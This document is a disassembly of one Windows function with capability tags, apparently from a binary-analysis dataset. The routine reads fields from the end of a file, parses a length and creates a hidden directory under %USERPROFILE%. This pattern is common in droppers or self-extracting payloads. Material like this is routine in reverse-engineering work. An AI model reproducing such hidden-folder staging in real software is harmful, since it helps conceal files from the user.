Function at 0x1400017db
Capabilities:
Query environment variable
Set file attributes

Disassembly:
push rbp
push rbx
sub rsp, 0x208
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1a0], rcx
mov qword [rbp + 0x1a8], rdx
mov qword [rbp + 0x1b0], r8
mov rbx, qword [str.END]
lea rax, [rbp + 0x10]
mov rcx, qword [rbp + 0x1b0]
mov rdx, qword [rbp + 0x1a8]
mov dword [rsp + 0x20], 1
mov r9d, 4
mov r8, rcx
mov rcx, rax
call sym.ReadFromBackString_abi:cxx11__std::basic_ifstream_char__std::char_traits_char_____int__int__bool_
lea rax, [rbp + 0x10]
mov rdx, rbx
mov rcx, rax
call method.bool_std::operator__char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
mov ebx, eax
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test bl, bl
je 0x14000188e
lea rax, [rbp + 0x3f]
mov rcx, rax
call fcn.1400772f0
lea rax, [rbp + 0x3f]
mov r8, rax
lea rax, [0x14010a058]
mov rdx, rax
mov rcx, qword [rbp + 0x1a0]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140001c55
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.1400e6b20
lea rax, [rbp - 0x50]
mov rcx, qword [rbp + 0x1b0]
mov rdx, qword [rbp + 0x1a8]
mov dword [rsp + 0x20], 1
mov r9d, 1
mov r8, rcx
mov rcx, rax
call sym.ReadFromBackString_abi:cxx11__std::basic_ifstream_char__std::char_traits_char_____int__int__bool_
lea rax, [rbp - 0x50]
mov edx, 0
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator___unsigned_long_long_
movzx eax, byte [rax]
movsx eax, al
sub eax, 0x30
cmp eax, 9
seta al
test al, al
je 0x1400018f0
mov ebx, 0
jmp 0x140001905
lea rdx, [rbp - 0x50]
lea rax, [rbp - 0x10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 1
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140001918
jmp 0x14000189a
mov rax, qword [rbp + 0x1b0]
mov eax, dword [rax]
lea edx, [rax - 1]
mov rax, qword [rbp + 0x1b0]
mov dword [rax], edx
lea rax, [rbp + 0x6f]
mov rcx, rax
call fcn.1400772f0
lea rax, [rbp + 0x70]
lea rdx, [rbp - 0x10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.rend__
lea rax, [rbp + 0x78]
lea rdx, [rbp - 0x10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.rbegin__
lea r8, [rbp + 0x6f]
lea rcx, [rbp + 0x70]
lea rdx, [rbp + 0x78]
lea rax, [rbp + 0x40]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym._ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1ISt16reverse_iteratorIN9__gnu_cxx17__normal_iteratorIPcS4_EEEvEET_SC_RK
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x17c], eax
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x6f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, qword [rbp + 0x1b0]
mov eax, dword [rax]
lea edx, [rax + 6]
mov rax, qword [rbp + 0x1b0]
mov dword [rax], edx
lea rax, [rbp - 0x30]
mov r8d, dword [rbp + 0x17c]
mov rcx, qword [rbp + 0x1b0]
mov rdx, qword [rbp + 0x1a8]
mov dword [rsp + 0x20], 1
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call sym.ReadFromBackString_abi:cxx11__std::basic_ifstream_char__std::char_traits_char_____int__int__bool_
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0xf0]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, str.USERPROFILE
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x148], rax
lea rdx, [rbp + 0x148]
lea rax, [rbp + 0x120]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__std::filesystem::__cxx11.path__char_const__std::filesystem::__cxx11::path::format_
lea rax, [rbp + 0xc0]
lea rcx, [rbp + 0xf0]
lea rdx, [rbp + 0x120]
mov r8, rcx
mov rcx, rax
call method.std::filesystem::__cxx11.operator__std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0xc0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.string___const
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0xa0]
lea r8, [0x14010a065]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x80]
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xa0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xc0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x120]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0xf0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x150]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, [rbp + 0x150]
mov rcx, rax
call method.std::filesystem.create_directory_std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x150]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
lea rax, [rbp - 0x30]
mov rdx, rax
mov rcx, qword [rbp + 0x1a0]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001c55
mov rax, qword [rbp + 0x1a0]
add rsp, 0x208
pop rbx
pop rbp
ret